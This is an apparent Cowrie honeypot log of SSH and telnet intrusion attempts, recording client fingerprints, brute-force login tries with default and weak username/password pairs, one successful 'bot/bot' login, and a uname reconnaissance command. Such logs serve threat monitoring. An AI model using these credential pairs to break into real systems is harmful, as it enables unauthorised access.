{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:50.453328Z","src_ip":"103.82.132.16","session":"bcf9819f603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38430,"dst_ip":"159.203.135.109","dst_port":22,"session":"49da7bdba487","protocol":"ssh","message":"New connection: 160.187.174.22:38430 (159.203.135.109:22) [session: 49da7bdba487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:50.854563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:50.858763Z","src_ip":"160.187.174.22","session":"49da7bdba487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:51.109611Z","src_ip":"160.187.174.22","session":"49da7bdba487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03081995","message":"login attempt [root/03081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:51.232339Z","src_ip":"103.82.132.16","session":"bcf9819f603d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"observer","password":"observer123","message":"login attempt [observer/observer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:51.866754Z","src_ip":"160.187.174.22","session":"49da7bdba487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:52.485816Z","src_ip":"103.82.132.16","session":"bcf9819f603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:53.115609Z","src_ip":"160.187.174.22","session":"49da7bdba487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59562,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea65092427b7","protocol":"telnet","message":"New connection: 107.6.151.170:59562 (159.203.135.109:23) [session: ea65092427b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:54.190658Z"}
{"eventid":"cowrie.session.closed","duration":0.08066773414611816,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:54.271185Z","src_ip":"107.6.151.170","session":"ea65092427b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53096,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb22cf921c88","protocol":"telnet","message":"New connection: 170.64.224.25:53096 (159.203.135.109:23) [session: bb22cf921c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:55.768736Z"}
{"eventid":"cowrie.session.closed","duration":38.32012748718262,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:01.268559Z","src_ip":"170.64.224.25","session":"f9322c71e8f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55238,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1dede03b89a","protocol":"ssh","message":"New connection: 160.187.174.22:55238 (159.203.135.109:22) [session: c1dede03b89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:19.618252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:19.622098Z","src_ip":"160.187.174.22","session":"c1dede03b89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:19.875576Z","src_ip":"160.187.174.22","session":"c1dede03b89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:20.602899Z","src_ip":"160.187.174.22","session":"c1dede03b89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:21.846464Z","src_ip":"160.187.174.22","session":"c1dede03b89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":37538,"dst_ip":"10.17.0.5","dst_port":22,"session":"046ab25c4ffd","protocol":"ssh","message":"New connection: 209.99.190.113:37538 (10.17.0.5:22) [session: 046ab25c4ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:32.067054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:32.070821Z","src_ip":"209.99.190.113","session":"046ab25c4ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:32.167989Z","src_ip":"209.99.190.113","session":"046ab25c4ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Abcd1234","message":"login attempt [git/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:32.590296Z","src_ip":"209.99.190.113","session":"046ab25c4ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:33.690530Z","src_ip":"209.99.190.113","session":"046ab25c4ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37438,"dst_ip":"159.203.135.109","dst_port":22,"session":"1087ed960cf8","protocol":"ssh","message":"New connection: 160.187.174.22:37438 (159.203.135.109:22) [session: 1087ed960cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:47.775185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:47.778830Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:48.027067Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:48.769891Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:49.303927Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:49.306418Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:49.557035Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:49.561326Z","src_ip":"160.187.174.22","session":"1087ed960cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.41348838806152,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:34:54.182074Z","src_ip":"170.64.224.25","session":"bb22cf921c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":36708,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4849e3160a","protocol":"ssh","message":"New connection: 143.20.185.207:36708 (10.17.0.5:22) [session: 2f4849e3160a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:08.475552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:08.605606Z","src_ip":"143.20.185.207","session":"2f4849e3160a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:08.609065Z","src_ip":"143.20.185.207","session":"2f4849e3160a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#4VCPU16GBAMD","message":"login attempt [root/XYZZVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:09.621813Z","src_ip":"143.20.185.207","session":"2f4849e3160a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:10.740589Z","src_ip":"143.20.185.207","session":"2f4849e3160a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44314,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7153ae8c7b2","protocol":"ssh","message":"New connection: 160.187.174.22:44314 (159.203.135.109:22) [session: a7153ae8c7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:15.855158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:15.862662Z","src_ip":"160.187.174.22","session":"a7153ae8c7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:16.113352Z","src_ip":"160.187.174.22","session":"a7153ae8c7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debianuser","password":"1qazXSW@","message":"login attempt [debianuser/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:16.836966Z","src_ip":"160.187.174.22","session":"a7153ae8c7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:18.161747Z","src_ip":"160.187.174.22","session":"a7153ae8c7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54796,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef1ac78bcc40","protocol":"ssh","message":"New connection: 160.187.174.22:54796 (159.203.135.109:22) [session: ef1ac78bcc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:45.504061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:45.508616Z","src_ip":"160.187.174.22","session":"ef1ac78bcc40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:45.748216Z","src_ip":"160.187.174.22","session":"ef1ac78bcc40","protocol":"ssh"}
